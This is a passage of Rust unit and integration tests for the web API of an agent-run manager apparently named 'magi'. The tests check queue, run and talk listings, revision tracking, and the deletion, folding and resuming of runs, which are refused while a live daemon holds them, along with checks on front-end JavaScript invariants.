21159        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
21160        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
21161        let talks = serde_json::to_value(
21162            talks_list(
21163                State(ui.clone()),
21164                query(Some("20260905-000000-d4e5")),
21165                header::HeaderMap::new(),
21166            )
21167            .await
21168            .unwrap()
21169            .0,
21170        )
21171        .unwrap();
21172        assert_eq!(talks.as_array().unwrap().len(), 1);
21173        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
21174        assert_eq!(
21175            serde_json::to_value(
21176                talks_list(State(ui.clone()), query(Some("")), header::HeaderMap::new())
21177                    .await
21178                    .unwrap()
21179                    .0
21180            )
21181            .unwrap(),
21182            serde_json::json!([])
21183        );
21184    }
21185
21186    #[tokio::test]
21187    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
21188    async fn delta_payload_benchmark() {
21189        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
21190        let ui = delta_test_ui(&home);
21191        let query = |ids: Option<String>| {
21192            Query(ListQuery {
21193                limit: Some(50),
21194                ids,
21195            })
21196        };
21197        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
21198        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
21199        let talks = talks_list(State(ui.clone()), query(None), header::HeaderMap::new())
21200            .await
21201            .unwrap()
21202            .0;
21203        let queue_id = queue
21204            .iter()
21205            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
21206            .unwrap_or(&queue[0])
21207            .task
21208            .id
21209            .clone();
21210        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
21211            .await
21212            .unwrap()
21213            .0;
21214        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
21215            .await
21216            .unwrap()
21217            .0;
21218        let talks_delta = talks_list(
21219            State(ui.clone()),
21220            query(Some(talks[0].id.clone())),
21221            header::HeaderMap::new(),
21222        )
21223        .await
21224        .unwrap()
21225        .0;
21226        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
21227        eprintln!(
21228            "DELTA_PAYLOAD {}",
21229            serde_json::json!({
21230                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
21231                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
21232                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
21233                "counts": [queue.len(), runs.len(), talks.len()],
21234                "blocked": queue_delta.len() - 1,
21235            })
21236        );
21237    }
21238
21239    #[test]
21240    fn runs_revision_moves_when_deleting_an_older_run() {
21241        let temp = TempDir::new().expect("tempdir");
21242        let runs = temp.path().join("runs");
21243        std::fs::create_dir_all(&runs).expect("create runs dir");
21244
21245        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
21246
21247        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
21248        std::thread::sleep(Duration::from_millis(10));
21249        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
21250
21251        let rev_before = runs_revision(&runs);
21252        assert!(rev_before > 0);
21253
21254        let old_dir = runs.join("20260901-100000-old1");
21255        std::fs::remove_dir_all(&old_dir).expect("remove old run");
21256
21257        let rev_after = runs_revision(&runs);
21258        assert_ne!(
21259            rev_before, rev_after,
21260            "deleting an older run must change the revision so other clients see the deletion"
21261        );
21262    }
21263
21264    /// A run's own `run.json` on an explicit `runs` root, bypassing the
21265    /// process-global home entirely — `RunState::save` writes through
21266    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
21267    /// (see `tests::home_lock` in the integration suite for why).
21268    fn write_state(runs: &FsPath, state: &RunState) {
21269        let dir = runs.join(&state.id);
21270        std::fs::create_dir_all(&dir).expect("run dir");
21271        std::fs::write(
21272            dir.join("run.json"),
21273            serde_json::to_string_pretty(state).expect("serialize run"),
21274        )
21275        .expect("write run.json");
21276    }
21277
21278    /// A seat starting or finishing is a write to `run.json` like any other,
21279    /// so it moves the same revision the change stream already watches —
21280    /// nothing new for `/api/events` to learn, but the property this feature
21281    /// depends on to reach the phone without a poll.
21282    #[test]
21283    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
21284        let temp = TempDir::new().expect("tempdir");
21285        let runs = temp.path().join("runs");
21286        std::fs::create_dir_all(&runs).expect("create runs dir");
21287        let mut state = RunState::new(
21288            PathBuf::from("/repo/magi"),
21289            "main".to_owned(),
21290            "0123456789abcdef".to_owned(),
21291            "task".to_owned(),
21292            Config::default(),
21293        );
21294        state.id = "20260902-100000-c0de".to_owned();
21295        write_state(&runs, &state);
21296
21297        let rev_idle = runs_revision(&runs);
21298        std::thread::sleep(Duration::from_millis(10));
21299        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
21300        write_state(&runs, &state);
21301        let rev_started = runs_revision(&runs);
21302        assert_ne!(
21303            rev_idle, rev_started,
21304            "a seat starting must move the revision"
21305        );
21306
21307        std::thread::sleep(Duration::from_millis(10));
21308        state.seat_finished("judge-1");
21309        write_state(&runs, &state);
21310        let rev_finished = runs_revision(&runs);
21311        assert_ne!(
21312            rev_started, rev_finished,
21313            "and clearing it again must move the revision a second time"
21314        );
21315    }
21316
21317    #[tokio::test]
21318    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
21319        // `TaskView` flattens `Task`, so this is really asserting that
21320        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
21321        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
21322        // never touched web.rs, so nothing here caught it if it had.
21323        let fx = Fixture::start().await;
21324        let q = fx.queue();
21325
21326        let mut t = Task::new(
21327            "Task".to_owned(),
21328            "Instruction".to_owned(),
21329            PathBuf::from("/repo"),
21330            Source::Human,
21331        );
21332        t.block(
21333            vec!["20260101-000000-dead".to_owned()],
21334            Some("waiting on Task 1".to_owned()),
21335        );
21336        t.answers.push(crate::queue::AnsweredQuestion {
21337            question: "Which backend?".to_owned(),
21338            answer: "SQLite".to_owned(),
21339        });
21340        q.put(&mut t).expect("put t");
21341
21342        let res = fx.get("/api/queue").await;
21343        assert_eq!(res.status, 200);
21344        let list = res.json();
21345        let view = list
21346            .as_array()
21347            .expect("array")
21348            .iter()
21349            .find(|v| v["id"] == t.id)
21350            .expect("task in list");
21351        assert_eq!(view["status_str"], "blocked");
21352        assert_eq!(
21353            view["blocked_by"],
21354            serde_json::json!(["20260101-000000-dead"])
21355        );
21356        assert_eq!(view["block_reason"], "waiting on Task 1");
21357        assert_eq!(view["answers"][0]["question"], "Which backend?");
21358        assert_eq!(view["answers"][0]["answer"], "SQLite");
21359
21360        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
21361        // but never `answers` - that is a settled decision, not state
21362        // describing the current block, so it survives.
21363        let res = fx
21364            .post(&format!("/api/queue/{}/hold", t.short()), None)
21365            .await;
21366        assert_eq!(res.status, 200);
21367        let held = res.json();
21368        assert_eq!(held["status_str"], "held");
21369        assert_eq!(held["blocked_by"], serde_json::json!([]));
21370        assert!(held["block_reason"].is_null());
21371        assert_eq!(held["answers"][0]["answer"], "SQLite");
21372    }
21373
21374    #[tokio::test]
21375    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
21376        let fx = Fixture::start().await;
21377        let q = fx.queue();
21378        let mk = |title: &str| {
21379            Task::new(
21380                title.to_owned(),
21381                "Instruction".to_owned(),
21382                PathBuf::from("/repo"),
21383                Source::Human,
21384            )
21385        };
21386        let mut root = mk("root");
21387        root.hold_manual(Some("waiting".to_owned()));
21388        q.put(&mut root).unwrap();
21389        let mut mid = mk("mid");
21390        mid.block(vec![root.id.clone()], None);
21391        q.put(&mut mid).unwrap();
21392        let mut leaf = mk("leaf");
21393        leaf.block(vec![mid.id.clone()], None);
21394        q.put(&mut leaf).unwrap();
21395
21396        let list = fx.get("/api/queue").await.json();
21397        let find = |id: &str| {
21398            list.as_array()
21399                .unwrap()
21400                .iter()
21401                .find(|v| v["id"] == id)
21402                .unwrap()
21403                .clone()
21404        };
21405        let leaf_view = find(&leaf.id);
21406        assert_eq!(
21407            leaf_view["waits_on"],
21408            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
21409        );
21410        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
21411        assert_eq!(
21412            find(&mid.id)["waits_on"],
21413            serde_json::json!([format!("{} (held)", root.short())])
21414        );
21415        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
21416    }
21417
21418    #[tokio::test]
21419    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
21420        let fx = Fixture::start().await;
21421        let q = fx.queue();
21422
21423        // 1. A queued task with runs attached can be deleted.
21424        let mut t1 = Task::new(
21425            "Task 1".to_owned(),
21426            "Instruction 1".to_owned(),
21427            PathBuf::from("/repo"),
21428            Source::Human,
21429        );
21430        let run_id = "20260901-000000-r111";
21431        t1.runs.push(run_id.to_owned());
21432        write_run(&fx.runs(), run_id, RunStatus::Merged);
21433        q.put(&mut t1).expect("put t1");
21434
21435        // Delete by short id
21436        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
21437        assert_eq!(res.status, 204);
21438        assert!(res.body.is_empty(), "204 No Content has no body");
21439        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
21440        assert!(
21441            fx.runs().join(run_id).exists(),
21442            "run directory must not be deleted when its task is deleted"
21443        );
21444
21445        // 2. A task a live daemon is running is refused with 409.
21446        let mut t2 = Task::new(
21447            "Task 2".to_owned(),
21448            "Instruction 2".to_owned(),
21449            PathBuf::from("/repo"),
21450            Source::Human,
21451        );
21452        t2.status = TaskStatus::Running;
21453        q.put(&mut t2).expect("put t2");
21454        let mut beat = crate::daemon::Status::new();
21455        beat.current = vec![crate::daemon::Current {
21456            worker: None,
21457            task: t2.id.clone(),
21458            run: "20260901-000000-r222".to_owned(),
21459        }];
21460        beat.updated_at = jiff::Timestamp::now();
21461        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21462            .expect("publish a heartbeat");
21463        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
21464        assert_eq!(res.status, 409);
21465        assert!(
21466            res.json()["error"]
21467                .as_str()
21468                .unwrap()
21469                .contains("live daemon")
21470        );
21471        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
21472
21473        // 3. The same `running` status and an orphaned lock, with no daemon
21474        // behind either, is a leftover and deletable. Before this the phone
21475        // refused it for good: the status never changes on its own and
21476        // nothing drops a lock whose process is gone.
21477        // The daemon is killed: the file stays, the heartbeat stops.
21478        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
21479        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21480            .expect("leave a stale heartbeat");
21481        let mut t3 = Task::new(
21482            "Task 3".to_owned(),
21483            "Instruction 3".to_owned(),
21484            PathBuf::from("/repo"),
21485            Source::Human,
21486        );
21487        t3.status = TaskStatus::Running;
21488        q.put(&mut t3).expect("put t3");
21489        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
21490        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
21491        assert_eq!(res.status, 204);
21492        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
21493        assert!(
21494            q.claim(&t3.id).is_ok(),
21495            "the stale lock went with it, so the id is claimable again"
21496        );
21497
21498        // 4. Missing id returns 404
21499        let res = fx.delete("/api/queue/nonexistent").await;
21500        assert_eq!(res.status, 404);
21501    }
21502
21503    #[tokio::test]
21504    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
21505        let fx = Fixture::start().await;
21506        let runs = fx.runs();
21507
21508        // 1. Finished and folded run can be deleted along with artifacts
21509        let run_id = "20260901-000000-fold";
21510        let mut state = RunState::new(
21511            PathBuf::from("/repo"),
21512            "main".to_owned(),
21513            "abc".to_owned(),
21514            "instruction".to_owned(),
21515            Config::default(),
21516        );
21517        state.id = run_id.to_owned();
21518        state.status = RunStatus::Merged;
21519        state.candidates.push(crate::run::Candidate {
21520            index: 0,
21521            label: 'A',
21522            agent: "a".to_owned(),
21523            branch: "b".to_owned(),
21524            worktree: PathBuf::from("/w"),
21525            summary: String::new(),
21526            stat: String::new(),
21527            files: 1,
21528            commits: 1,
21529            empty: false,
21530            failed: None,
21531            verified_noop: None,
21532            duration_ms: 0,
21533            folded: true,
21534        });
21535        let dir = runs.join(run_id);
21536        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
21537        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
21538            .expect("write artifact");
21539        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
21540            .expect("write run.json");
21541
21542        // Delete by short id
21543        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
21544        assert_eq!(res.status, 204);
21545        assert!(res.body.is_empty(), "204 has no body");
21546        assert!(!dir.exists(), "run directory and artifacts must be deleted");
21547
21548        // 2. A run a live daemon is working on is refused with 409. The
21549        // heartbeat is what makes it refusable: an unfinished run with no
21550        // daemon behind it is a leftover from a killed process, and case 1
21551        // above would otherwise be impossible to tell apart from this one.
21552        let run_running = "20260901-000000-rung";
21553        write_run(&runs, run_running, RunStatus::Prep);
21554        let mut beat = crate::daemon::Status::new();
21555        beat.current = vec![crate::daemon::Current {
21556            worker: None,
21557            task: "20260901-000000-task".to_owned(),
21558            run: run_running.to_owned(),
21559        }];
21560        beat.updated_at = jiff::Timestamp::now();
21561        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21562            .expect("publish a heartbeat");
21563        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
21564        assert_eq!(res.status, 409);
21565        assert!(
21566            res.json()["error"]
21567                .as_str()
21568                .unwrap()
21569                .contains("live daemon"),
21570            "the refusal must say who is holding it"
21571        );
21572        assert!(
21573            runs.join(run_running).exists(),
21574            "a run in flight keeps its directory"
21575        );
21576
21577        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
21578        let run_unfolded = "20260901-000000-unfd";
21579        let mut state2 = RunState::new(
21580            PathBuf::from("/repo"),
21581            "main".to_owned(),
21582            "abc".to_owned(),
21583            "instruction".to_owned(),
21584            Config::default(),
21585        );
21586        state2.id = run_unfolded.to_owned();
21587        state2.status = RunStatus::Ready;
21588        state2.candidates.push(crate::run::Candidate {
21589            index: 0,
21590            label: 'A',
21591            agent: "a".to_owned(),
21592            branch: "b".to_owned(),
21593            worktree: PathBuf::from("/w"),
21594            summary: String::new(),
21595            stat: String::new(),
21596            files: 1,
21597            commits: 1,
21598            empty: false,
21599            failed: None,
21600            verified_noop: None,
21601            duration_ms: 0,
21602            folded: false,
21603        });
21604        let dir2 = runs.join(run_unfolded);
21605        std::fs::create_dir_all(&dir2).expect("create dir2");
21606        std::fs::write(
21607            dir2.join("run.json"),
21608            serde_json::to_string(&state2).unwrap(),
21609        )
21610        .expect("write run.json");
21611
21612        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
21613        assert_eq!(res.status, 409);
21614        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
21615        assert!(dir2.exists(), "unfolded run directory is kept");
21616
21617        // 4. Missing id returns 404
21618        let res = fx.delete("/api/runs/nonexistent").await;
21619        assert_eq!(res.status, 404);
21620    }
21621
21622    /// The queue tiles on the Stats tab must render even on a home with no
21623    /// runs at all: queue state is not derived from run history, so hiding
21624    /// the whole dashboard body behind "no runs yet" would drop the one
21625    /// thing this tab promises unconditionally (queued/running/held/done).
21626    /// A DOM-level test would need a browser this suite does not have, so
21627    /// this pins the same invariant textually: `renderStatsQueue` is called
21628    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
21629    /// block that gates the run-derived panels.
21630    #[test]
21631    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
21632        let start = APP_JS
21633            .find("function renderStats() {")
21634            .expect("renderStats");
21635        let end = start
21636            + APP_JS[start..]
21637                .find("function statsTile(")
21638                .expect("the next top-level function");
21639        let body = &APP_JS[start..end];
21640
21641        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
21642        let gate_end = gate_start
21643            + body[gate_start..]
21644                .find("}\n  renderStatsQueue")
21645                .expect("the gate's own closing brace, right before the unconditional call");
21646        let gated = &body[gate_start..gate_end];
21647
21648        assert_eq!(
21649            body.matches("renderStatsQueue(").count(),
21650            1,
21651            "renderStats must call renderStatsQueue exactly once: {body}"
21652        );
21653        assert!(
21654            !gated.contains("renderStatsQueue"),
21655            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
21656             run-derived panels on an empty run history - the queue panel has to render \
21657             regardless: {gated}"
21658        );
21659    }
21660
21661    #[test]
21662    fn web_ui_delete_contract_in_front_end() {
21663        // 1. API block has both delete endpoints
21664        assert!(APP_JS.contains("deleteRun:"));
21665        assert!(APP_JS.contains("deleteTask:"));
21666
21667        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
21668        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
21669            ..APP_JS.find("function renderRuns").unwrap()];
21670        assert!(!run_cards_slice.to_lowercase().contains("delete"));
21671
21672        // 3. Run detail has delete entry and reasons
21673        assert!(APP_JS.contains("renderRunDelete"));
21674        assert!(APP_JS.contains("runDeleteReason"));
21675        assert!(APP_JS.contains("magi fold"));
21676        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
21677
21678        // 4. Two-step delete arming and focus on Cancel
21679        assert!(APP_JS.contains("cancel.focus"));
21680        assert!(APP_JS.contains("armedRunDelete"));
21681        assert!(APP_JS.contains("renderTaskDeleteBox"));
21682        assert!(APP_JS.contains("armed${cap(key)}"));
21683
21684        // 5. Running task has disabled delete
21685        assert!(APP_JS.contains("disabled: status === \"running\""));
21686    }
21687
21688    /// Every element a run card's updater reaches for must be in the `refs`
21689    /// the builder handed it.
21690    ///
21691    /// `createRunCard` builds its elements, appends them to the card, and then
21692    /// lists them again in `row.refs`. That second list is the one the updater
21693    /// uses, and nothing connects the two - an element can be built, appended
21694    /// and rendered, and still be missing from `refs`. `superseded` was, for
21695    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
21696    /// exception took `syncList` with it, and the deck showed
21697    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
21698    /// line is computed before the cards, which is why the failure looked like
21699    /// a server that had lost its runs rather than a front end that had
21700    /// stopped rendering them.
21701    ///
21702    /// A `cargo test` cannot execute the front end, so this reads the two
21703    /// halves out of the source and compares them as sets. It is not a check
21704    /// on the wording of either list: adding an element, renaming one, or
21705    /// reordering them all keeps this passing, and only using one the builder
21706    /// never published fails it.
21707    #[test]
21708    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
21709        let build = APP_JS
21710            .find("function createRunCard")
21711            .expect("createRunCard exists");
21712        let update = APP_JS
21713            .find("function updateRunCard")
21714            .expect("updateRunCard exists");
21715        let end = APP_JS
21716            .find("function renderRuns")
21717            .expect("renderRuns exists");
21718
21719        // The builder's published set: the object literal assigned to `refs`.
21720        let builder = &APP_JS[build..update];
21721        let open = builder.find("refs = {").expect("createRunCard sets refs");
21722        let literal = &builder[open + "refs = {".len()..];
21723        let close = literal.find('}').expect("the refs literal is closed");
21724        let published: HashSet<&str> = literal[..close]
21725            .split(',')
21726            // `name` and `name: value` both bind `name`.
21727            .filter_map(|entry| entry.split(':').next())
21728            .map(str::trim)
21729            .filter(|name| !name.is_empty())
21730            .collect();
21731        assert!(
21732            published.len() > 5,
21733            "the refs literal did not parse into names: {published:?}"
21734        );
21735
21736        // What the updaters reach for: every `r.<name>`, where `r` is the
21737        // `const r = row.refs` alias both functions open with.
21738        let mut used: Vec<&str> = Vec::new();
21739        let updaters = &APP_JS[update..end];
21740        for (at, _) in updaters.match_indices("r.") {
21741            // `r` must be the whole identifier, not the tail of another one
21742            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
21743            let before = updaters[..at].chars().next_back();
21744            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
21745                continue;
21746            }
21747            let rest = &updaters[at + 2..];
21748            let len = rest
21749                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
21750                .unwrap_or(rest.len());
21751            if len > 0 {
21752                used.push(&rest[..len]);
21753            }
21754        }
21755        assert!(
21756            used.len() > 5,
21757            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
21758        );
21759
21760        let missing: Vec<&str> = used
21761            .iter()
21762            .copied()
21763            .filter(|name| !published.contains(name))
21764            .collect();
21765        assert!(
21766            missing.is_empty(),
21767            "a run card's updater reaches for {missing:?}, which `createRunCard` \
21768             never put in `refs` - every card will throw and the list will \
21769             render empty under a count line that says otherwise. Published: \
21770             {published:?}"
21771        );
21772    }
21773
21774    #[tokio::test]
21775    async fn folding_from_the_phone_reports_what_it_removed() {
21776        let fx = Fixture::start().await;
21777        let runs = fx.runs();
21778
21779        // A run with no candidates has nothing to fold, which is a 200 with an
21780        // honest count rather than an error: the operator asked for the trees
21781        // to be gone and they are.
21782        let id = "20260901-000000-fold";
21783        write_run(&runs, id, RunStatus::Stalled);
21784        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21785        assert_eq!(res.status, 200);
21786        assert_eq!(res.json()["removed_count"], 0);
21787        assert_eq!(res.json()["run"], id);
21788        assert!(
21789            runs.join(id).exists(),
21790            "a fold keeps the run's record; only the worktrees go"
21791        );
21792    }
21793
21794    #[tokio::test]
21795    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
21796        let fx = Fixture::start().await;
21797        let runs = fx.runs();
21798        let wt = fx.home.path().join("wt").join("magi").join("dead");
21799        let id = "20260901-000000-dead";
21800        std::fs::create_dir_all(runs.join(id)).expect("run dir");
21801        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21802        std::fs::create_dir_all(&wt).expect("worktree dir");
21803
21804        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21805        assert_eq!(res.status, 200, "{}", res.body);
21806        assert!(
21807            res.json()["removed_count"].as_u64().unwrap() > 0,
21808            "the worktree this build could not read a state for still went"
21809        );
21810        assert!(
21811            !runs.join(id).exists(),
21812            "an unreadable run has no candidate list to fold selectively, so \
21813             the whole record goes - same as `magi fold` on the CLI"
21814        );
21815    }
21816
21817    #[tokio::test]
21818    async fn deleting_an_unreadable_run_removes_it_wholesale() {
21819        let fx = Fixture::start().await;
21820        let runs = fx.runs();
21821        let wt = fx.home.path().join("wt").join("magi").join("gone");
21822        let id = "20260901-000000-gone";
21823        std::fs::create_dir_all(runs.join(id)).expect("run dir");
21824        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21825        std::fs::create_dir_all(&wt).expect("worktree dir");
21826
21827        let res = fx.delete(&format!("/api/runs/{id}")).await;
21828        assert_eq!(res.status, 204, "{}", res.body);
21829        assert!(!runs.join(id).exists(), "the broken record is gone");
21830        assert!(!wt.exists(), "its worktree is gone too");
21831    }
21832
21833    #[tokio::test]
21834    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
21835        let fx = Fixture::start().await;
21836        let runs = fx.runs();
21837        let id = "20260901-000000-live";
21838        write_run(&runs, id, RunStatus::Implementing);
21839
21840        let mut beat = crate::daemon::Status::new();
21841        beat.current = vec![crate::daemon::Current {
21842            worker: None,
21843            task: "20260901-000000-task".to_owned(),
21844            run: id.to_owned(),
21845        }];
21846        beat.updated_at = jiff::Timestamp::now();
21847        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21848            .expect("publish a heartbeat");
21849
21850        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21851        assert_eq!(res.status, 409);
21852        assert!(
21853            res.json()["error"]
21854                .as_str()
21855                .unwrap()
21856                .contains("live daemon"),
21857            "folding under a running agent would pull its worktree away"
21858        );
21859    }
21860
21861    #[tokio::test]
21862    async fn fold_merged_requires_a_pr_url() {
21863        let fx = Fixture::start().await;
21864        let runs = fx.runs();
21865        let id = "20260901-000000-nourl";
21866        write_run(&runs, id, RunStatus::Blocked);
21867
21868        let res = fx
21869            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
21870            .await;
21871        assert_eq!(res.status, 400, "{}", res.body);
21872
21873        let blank = fx
21874            .post(
21875                &format!("/api/runs/{id}/fold-merged"),
21876                Some(r#"{"pr_url":"   "}"#),
21877            )
21878            .await;
21879        assert_eq!(blank.status, 400, "{}", blank.body);
21880    }
21881
21882    #[tokio::test]
21883    async fn fold_merged_is_404_for_an_unknown_run() {
21884        let fx = Fixture::start().await;
21885        let res = fx
21886            .post(
21887                "/api/runs/nosuchrun/fold-merged",
21888                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21889            )
21890            .await;
21891        assert_eq!(res.status, 404, "{}", res.body);
21892    }
21893
21894    #[tokio::test]
21895    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
21896        let fx = Fixture::start().await;
21897        let runs = fx.runs();
21898        let id = "20260901-000000-livemerge";
21899        write_run(&runs, id, RunStatus::Blocked);
21900
21901        let mut beat = crate::daemon::Status::new();
21902        beat.current = vec![crate::daemon::Current {
21903            worker: None,
21904            task: "20260901-000000-task".to_owned(),
21905            run: id.to_owned(),
21906        }];
21907        beat.updated_at = jiff::Timestamp::now();
21908        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21909            .expect("publish a heartbeat");
21910
21911        let res = fx
21912            .post(
21913                &format!("/api/runs/{id}/fold-merged"),
21914                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21915            )
21916            .await;
21917        assert_eq!(res.status, 409, "{}", res.body);
21918        assert!(
21919            res.json()["error"]
21920                .as_str()
21921                .unwrap()
21922                .contains("live daemon"),
21923            "correcting a run's merge underneath a running agent would race \
21924             whatever it is doing to the same `status`/`merge` fields"
21925        );
21926    }
21927
21928    /// A pull request `gh` cannot even ask about (no such remote, no such
21929    /// repository) must never be recorded as a merge on a guess - the same
21930    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
21931    /// command line, reached here through the phone route instead.
21932    #[tokio::test]
21933    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
21934        let fx = Fixture::start().await;
21935        let runs = fx.runs();
21936        let id = "20260901-000000-unconfirmed";
21937        write_run(&runs, id, RunStatus::Blocked);
21938
21939        let res = fx
21940            .post(
21941                &format!("/api/runs/{id}/fold-merged"),
21942                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21943            )
21944            .await;
21945        assert_eq!(res.status, 400, "{}", res.body);
21946        assert_eq!(
21947            read_run(&runs, id).unwrap().status,
21948            RunStatus::Blocked,
21949            "a pull request that could not be confirmed merged must leave \
21950             the run exactly where it was"
21951        );
21952    }
21953
21954    #[tokio::test]
21955    async fn terminal_runs_cannot_be_resumed() {
21956        let fx = Fixture::start().await;
21957        let runs = fx.runs();
21958
21959        for (status, word) in [
21960            (RunStatus::Merged, "merged"),
21961            (RunStatus::Ready, "ready"),
21962            (RunStatus::Failed, "failed"),
21963        ] {
21964            let id = format!("20260901-000000-{}", &word[..4]);
21965            write_run(&runs, &id, status);
21966            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
21967            assert_eq!(res.status, 409, "{word} must not be resumable");
21968        }
21969    }
21970
21971    #[tokio::test]
21972    async fn resume_is_refused_while_the_loop_is_running() {
21973        let fx = Fixture::start().await;
21974        let runs = fx.runs();
21975        let stalled = "20260901-000000-stal";
21976        write_run(&runs, stalled, RunStatus::Stalled);
21977
21978        // The loop is busy with a *different* run, and that is still a
21979        // refusal: a manual resume must never race whatever the loop itself
21980        // is already driving, whether that is one run or several.
21981        let mut beat = crate::daemon::Status::new();
21982        beat.current = vec![crate::daemon::Current {
21983            worker: None,
21984            task: "20260901-000000-task".to_owned(),
21985            run: "20260901-000000-othr".to_owned(),
21986        }];
21987        beat.updated_at = jiff::Timestamp::now();
21988        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21989            .expect("publish a heartbeat");
21990
21991        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
21992        assert_eq!(res.status, 409);
21993        let err = res.json()["error"].as_str().unwrap().to_owned();
21994        assert!(err.contains("othr"), "it names what the loop is on: {err}");
21995        assert!(err.contains("stop it first"), "{err}");
21996    }
21997
21998    #[test]
21999    fn a_run_cannot_be_resumed_twice_at_once() {
22000        let home = TempDir::new().expect("temp home");
22001        let ui = Ui::new(
22002            Queue::at(home.path().join("queue")),
22003            Questions::at(home.path().join("questions")),
22004            Talks::at(home.path().join("talks")),
22005            home.path().join("runs"),
22006            home.path().to_path_buf(),
22007            PathBuf::from("/repo"),
22008        )
22009        .with_worktrees_root(home.path().join("wt"));
22010        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
22011        let again = ui.begin_resume("20260901-000000-once");
22012        assert!(again.is_err(), "a second tap must not start a second graph");
22013        drop(first);
22014        assert!(
22015            ui.begin_resume("20260901-000000-once").is_ok(),
22016            "and the claim is released when the attempt ends"
22017        );
22018    }
22019
22020    #[test]
22021    fn talk_thinking_tracks_only_its_held_turn_claim() {
22022        let home = TempDir::new().expect("temp home");
22023        let ui = Ui::new(
22024            Queue::at(home.path().join("queue")),
22025            Questions::at(home.path().join("questions")),
22026            Talks::at(home.path().join("talks")),
22027            home.path().join("runs"),
22028            home.path().to_path_buf(),
22029            PathBuf::from("/repo"),
22030        )
22031        .with_worktrees_root(home.path().join("wt"));
22032        let id = "20260901-000000-once";
22033
